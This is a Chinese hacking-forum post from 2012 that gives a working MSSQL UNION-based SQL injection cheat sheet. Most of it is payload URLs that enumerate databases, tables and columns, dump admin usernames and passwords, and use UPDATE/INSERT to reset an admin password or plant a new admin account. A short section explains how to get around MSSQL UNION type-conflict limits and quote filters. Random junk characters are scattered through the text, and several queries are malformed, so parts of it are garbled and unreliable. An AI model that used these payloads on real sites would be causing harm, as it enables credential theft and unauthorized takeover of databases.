找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1781|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:7 T# W" ?" k6 ^, ?& R( h, _. B
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--4 y6 a  w1 K; v  ?  m: K
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.4 d8 J% m. B. M2 c8 y
爆下一个库:) v% R. w3 x/ y/ ]  K6 f/ e" l
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--$ f+ l$ `+ O- b' z) Z' e
& K, Q- l9 r/ r+ {) `3 U
爆表:
, v! }( @# Q' B. h* ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
  E' g5 j* K0 q( T  H6 t/ f/ c
# v% E) M7 V( o9 iSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
/ N) F" W9 @% C4 [  k8 y9 Z
* p0 m- o& ~4 g8 j爆下一个表
2 Q$ I, T1 {9 W" N0 i8 l- A. D) n; _6 Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--- [; J* v, N, l) C; t

) g6 n5 e( |6 N) j+ L* ]http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--  W% g/ V) ~) H; T

6 i6 H( z. A* J' n4 `1 P; i6 L6 J

- h( O8 p9 p$ y& p' y/ Z% M4 |爆字段:+ k: P8 g  X, A7 A+ E# d
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
  d1 `# q, d4 E$ o  V
8 r; o& S8 P, Z0 u' I/ r爆下一个字段
3 Z4 K' n5 f' Z' s# N: m) F! m, Vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--  O5 k* t5 O: }5 U5 [* B
' t- ~# [7 r7 n3 l
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
% @" f7 w! |) f1 f% D8 Y! ]! @0 n, G3 W# c, p1 e
  ^4 I' ?( B) S3 ^
爆字段里的内容; A. r, ?) W; D+ n
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--4 `  q4 [) i; ^$ W: w
. i- K+ `& l. m+ e( B: v4 e
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
9 Q' t% x! _$ v$ y% Y% ]( o
) H4 U. k5 E! w7 d- L" h; ~http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
" m4 H/ p: I% `% F" ]7 N; x) v5 C
' ]' i1 g$ L6 z& s$ Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--( G* k# v0 }7 j, v9 Y2 G

6 o- r5 J, B- C( Z  K8 u. k更新字段里的内容
4 _5 C5 ]" c' E7 h7 @; mhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--8 m' ^/ T- `% v  ^1 ~

/ x3 z+ O" d5 T8 l- {- Phttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--8 H2 X. @9 Z- h: b, t

, T# Z. V, r: A/ T& H
" a, n, ^3 h7 e& V* ?# L' u6 s. T9 R
! B. f/ ?" f* F        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
8 l- k" U( @/ z4 g9 `7 o8 M2 I/ E    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
. ?' k# {% }* O3 C    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
4 r5 W$ I" d7 `* a: t  Q$ G7 l+ I    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。% y% U$ _# q& w7 q/ s# O
6 K* V2 U/ {3 j! ~& s
突了了大部份限制的语句
/ b3 m: x8 ^8 P0 d% i8 b8 d. f0 z; nand 1=2 union all select char(49),char(50),null,null;--4 C+ F% }. o# [) P3 q4 [7 s; N
3 ?' R4 [% H: g: r

+ G7 F2 O% ]5 Q4 ^0 |null也可以正常执行,不过没有回显,不好判断回显的列数。% n9 C- _; p$ M$ ^& ]3 i
一般union遇到问题都是有text或者ntext字段,image的很少遇到' R$ `0 d; j4 V
9 B, W- G+ C* X1 {/ _
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
( G5 f- H- L& k* p+ @2 N5 B8 N
# E5 ]! ^2 o. H) E* ?7 y0 w+ N3 J) u: t8 O" U. T& f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表